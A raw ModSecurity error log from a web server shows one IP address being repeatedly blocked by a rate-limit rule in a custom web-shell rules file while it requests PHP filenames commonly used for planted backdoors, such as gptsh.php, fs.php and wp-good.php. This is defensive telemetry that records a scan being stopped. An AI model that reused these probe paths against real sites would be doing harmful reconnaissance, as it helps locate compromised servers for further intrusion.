[Tue May 19 12:15:01.653941 2026] [:error] [pid 38814:tid 38817] [client 20.226.17.188:16774] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "agvjxQvkKuBwP0epzWd1_AAAAME"]
[Tue May 19 12:15:02.274371 2026] [:error] [pid 29823:tid 29838] [client 20.226.17.188:30499] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "agvjxmO09C0nAz8vRk4PZwAAAcM"]
[Tue May 19 12:15:02.924880 2026] [:error] [pid 38697:tid 38737] [client 20.226.17.188:7799] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/term.php"] [unique_id "agvjxqXP9pP6Kgt-msQNbwAAABY"]
[Tue May 19 12:15:03.566159 2026] [:error] [pid 46896:tid 46909] [client 20.226.17.188:14321] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "agvjx6CHyzL3Ci9LGE0tPQAAAYs"]
[Tue May 19 12:15:04.182594 2026] [:error] [pid 46896:tid 46898] [client 20.226.17.188:30513] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "agvjyKCHyzL3Ci9LGE0tPwAAAYA"]
[Tue May 19 12:15:04.808819 2026] [:error] [pid 46896:tid 46903] [client 20.226.17.188:16776] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "agvjyKCHyzL3Ci9LGE0tQQAAAYU"]
[Tue May 19 12:15:05.430405 2026] [:error] [pid 46815:tid 46828] [client 20.226.17.188:16801] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fs.php"] [unique_id "agvjySPnRhJOmA06Lgot-QAAAUs"]
[Tue May 19 12:15:06.065356 2026] [:error] [pid 38814:tid 38819] [client 20.226.17.188:7782] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "agvjygvkKuBwP0epzWd1_wAAAMM"]
[Tue May 19 12:15:06.697772 2026] [:error] [pid 29823:tid 29847] [client 20.226.17.188:31714] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "agvjymO09C0nAz8vRk4PagAAAcg"]
[Tue May 19 12:15:07.314177 2026] [:error] [pid 38705:tid 38786] [client 20.226.17.188:21835] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "agvjy8g5dNOZ5umN9ltDqAAAAJE"]
[Tue May 19 12:15:07.935662 2026] [:error] [pid 46896:tid 46918] [client 20.226.17.188:63431] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ortasekerli1.php"] [unique_id "agvjy6CHyzL3Ci9LGE0tUAAAAZQ"]
[Tue May 19 12:15:08.555836 2026] [:error] [pid 29823:tid 29841] [client 20.226.17.188:27335] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "agvjzGO09C0nAz8vRk4PawAAAcY"]
[Tue May 19 12:15:09.175371 2026] [:error] [pid 46815:tid 46839] [client 20.226.17.188:63476] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "agvjzSPnRhJOmA06LgouAAAAAVY"]
[Tue May 19 12:15:09.797945 2026] [:error] [pid 46815:tid 46820] [client 20.226.17.188:27347] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "agvjzSPnRhJOmA06LgouAQAAAUM"]
[Tue May 19 12:15:10.414881 2026] [:error] [pid 29823:tid 29861] [client 20.226.17.188:21532] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "agvjzmO09C0nAz8vRk4PbAAAAdY"]
[Tue May 19 12:15:11.034817 2026] [:error] [pid 46815:tid 46824] [client 20.226.17.188:21867] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "agvjzyPnRhJOmA06LgouAgAAAUc"]
[Tue May 19 12:15:11.669028 2026] [:error] [pid 46815:tid 46830] [client 20.226.17.188:4558] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "agvjzyPnRhJOmA06LgouBQAAAU0"]
[Tue May 19 12:15:12.289172 2026] [:error] [pid 38699:tid 38751] [client 20.226.17.188:17450] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "agvj0L--Adsw_P-dthZuSwAAAEk"]
[Tue May 19 12:15:12.908074 2026] [:error] [pid 38697:tid 38722] [client 20.226.17.188:21841] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "agvj0KXP9pP6Kgt-msQNfAAAAAc"]
[Tue May 19 12:15:13.525658 2026] [:error] [pid 41573:tid 41579] [client 20.226.17.188:17456] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/varb.php"] [unique_id "agvj0S1A2bd6JDSW9RZZEQAAAQQ"]
[Tue May 19 12:15:14.144844 2026] [:error] [pid 41573:tid 41597] [client 20.226.17.188:21551] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/varb.php"] [unique_id "agvj0i1A2bd6JDSW9RZZEgAAARY"]
[Tue May 19 12:15:14.767764 2026] [:error] [pid 38705:tid 38773] [client 20.226.17.188:27351] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/varb.php"] [unique_id "agvj0sg5dNOZ5umN9ltDqgAAAIQ"]
[Tue May 19 12:15:15.414173 2026] [:error] [pid 29823:tid 29839] [client 20.226.17.188:17410] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/varb.php"] [unique_id "agvj02O09C0nAz8vRk4PbgAAAcQ"]
[Tue May 19 12:15:16.032880 2026] [:error] [pid 38705:tid 38780] [client 20.226.17.188:14331] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "agvj1Mg5dNOZ5umN9ltDqwAAAIs"]
[Tue May 19 12:15:16.656700 2026] [:error] [pid 46896:tid 46921] [client 20.226.17.188:39045] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "agvj1KCHyzL3Ci9LGE0tXwAAAZc"]
[Tue May 19 12:15:17.275503 2026] [:error] [pid 38699:tid 38747] [client 20.226.17.188:6308] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "agvj1b--Adsw_P-dthZuTgAAAEU"]
[Tue May 19 12:15:17.906216 2026] [:error] [pid 41573:tid 41594] [client 20.226.17.188:21870] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "agvj1S1A2bd6JDSW9RZZEwAAARM"]
[Tue May 19 12:15:18.525282 2026] [:error] [pid 38705:tid 38781] [client 20.226.17.188:16809] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agvj1sg5dNOZ5umN9ltDrAAAAIw"]
[Tue May 19 12:15:19.162973 2026] [:error] [pid 38705:tid 38790] [client 20.226.17.188:21872] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agvj18g5dNOZ5umN9ltDrQAAAJU"]
[Tue May 19 12:15:19.820809 2026] [:error] [pid 38705:tid 38778] [client 20.226.17.188:39075] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agvj18g5dNOZ5umN9ltDrgAAAIk"]
[Tue May 19 12:15:20.439183 2026] [:error] [pid 38705:tid 38788] [client 20.226.17.188:21855] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "agvj2Mg5dNOZ5umN9ltDrwAAAJM"]
[Tue May 19 12:15:21.065513 2026] [:error] [pid 38814:tid 38829] [client 20.226.17.188:27380] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "agvj2QvkKuBwP0epzWd2AAAAAM0"]
[Tue May 19 12:15:21.733708 2026] [:error] [pid 46815:tid 46826] [client 20.226.17.188:30189] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "agvj2SPnRhJOmA06LgouCAAAAUk"]
[Tue May 19 12:15:22.363815 2026] [:error] [pid 38705:tid 38782] [client 20.226.17.188:1035] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "agvj2sg5dNOZ5umN9ltDsAAAAI0"]
[Tue May 19 12:15:22.994059 2026] [:error] [pid 38705:tid 38770] [client 20.226.17.188:28682] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "agvj2sg5dNOZ5umN9ltDsQAAAIE"]
[Tue May 19 12:15:23.615369 2026] [:error] [pid 38699:tid 38760] [client 20.226.17.188:1043] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-good.php"] [unique_id "agvj27--Adsw_P-dthZuUwAAAFI"]
[Tue May 19 12:15:37.638044 2026] [:error] [pid 38705:tid 38792] [client 20.226.17.188:4565] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buc.php"] [unique_id "agvj6cg5dNOZ5umN9ltDvgAAAJc"]
[Tue May 19 12:15:38.296457 2026] [:error] [pid 38814:tid 38820] [client 20.226.17.188:6326] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buc.php"] [unique_id "agvj6gvkKuBwP0epzWd2BQAAAMQ"]
[Tue May 19 12:15:38.913929 2026] [:error] [pid 41573:tid 41591] [client 20.226.17.188:21876] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buc.php"] [unique_id "agvj6i1A2bd6JDSW9RZZFAAAARA"]
[Tue May 19 12:15:39.559568 2026] [:error] [pid 38814:tid 38825] [client 20.226.17.188:30175] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/buc.php"] [unique_id "agvj6wvkKuBwP0epzWd2BgAAAMk"]
[Tue May 19 12:15:40.183634 2026] [:error] [pid 38697:tid 38739] [client 20.226.17.188:21868] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "agvj7KXP9pP6Kgt-msQNhAAAABg"]
[Tue May 19 12:15:40.821364 2026] [:error] [pid 46896:tid 46902] [client 20.226.17.188:5748] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "agvj7KCHyzL3Ci9LGE0tYgAAAYQ"]
[Tue May 19 12:15:41.458816 2026] [:error] [pid 38814:tid 38831] [client 20.226.17.188:30188] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "agvj7QvkKuBwP0epzWd2BwAAAM8"]
[Tue May 19 12:15:42.076591 2026] [:error] [pid 46896:tid 46913] [client 20.226.17.188:5753] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "agvj7qCHyzL3Ci9LGE0tYwAAAY8"]
[Tue May 19 12:15:42.695148 2026] [:error] [pid 38814:tid 38827] [client 20.226.17.188:21512] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "agvj7gvkKuBwP0epzWd2CAAAAMs"]
[Tue May 19 12:15:43.317826 2026] [:error] [pid 38697:tid 38729] [client 20.226.17.188:30176] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "agvj76XP9pP6Kgt-msQNhgAAAA4"]
[Tue May 19 12:15:43.944932 2026] [:error] [pid 38814:tid 38835] [client 20.226.17.188:24247] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "agvj7wvkKuBwP0epzWd2CQAAANM"]
[Tue May 19 12:15:44.568797 2026] [:error] [pid 29823:tid 29863] [client 20.226.17.188:27822] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wmore1.php"] [unique_id "agvj8GO09C0nAz8vRk4PcQAAAdg"]
[Tue May 19 12:15:45.195809 2026] [:error] [pid 38697:tid 38721] [client 20.226.17.188:30190] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "agvj8aXP9pP6Kgt-msQNhwAAAAY"]
[Tue May 19 12:15:45.833068 2026] [:error] [pid 38697:tid 38738] [client 20.226.17.188:1671] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "agvj8aXP9pP6Kgt-msQNiAAAABc"]
[Tue May 19 12:15:46.451232 2026] [:error] [pid 38697:tid 38736] [client 20.226.17.188:23002] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "agvj8qXP9pP6Kgt-msQNiQAAABU"]
[Tue May 19 12:15:47.074012 2026] [:error] [pid 38697:tid 38722] [client 20.226.17.188:27373] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "agvj86XP9pP6Kgt-msQNigAAAAc"]
[Tue May 19 12:15:47.712395 2026] [:error] [pid 38814:tid 38838] [client 20.226.17.188:7489] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "agvj8wvkKuBwP0epzWd2CgAAANY"]
[Tue May 19 12:15:48.331358 2026] [:error] [pid 46896:tid 46918] [client 20.226.17.188:21542] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "agvj9KCHyzL3Ci9LGE0tagAAAZQ"]
[Tue May 19 12:15:48.959867 2026] [:error] [pid 46815:tid 46824] [client 20.226.17.188:21550] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "agvj9CPnRhJOmA06LgouCwAAAUc"]
[Tue May 19 12:15:49.582146 2026] [:error] [pid 38814:tid 38840] [client 20.226.17.188:27786] [client 20.226.17.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nw.php"] [unique_id "agvj9QvkKuBwP0epzWd2DAAAANg"]
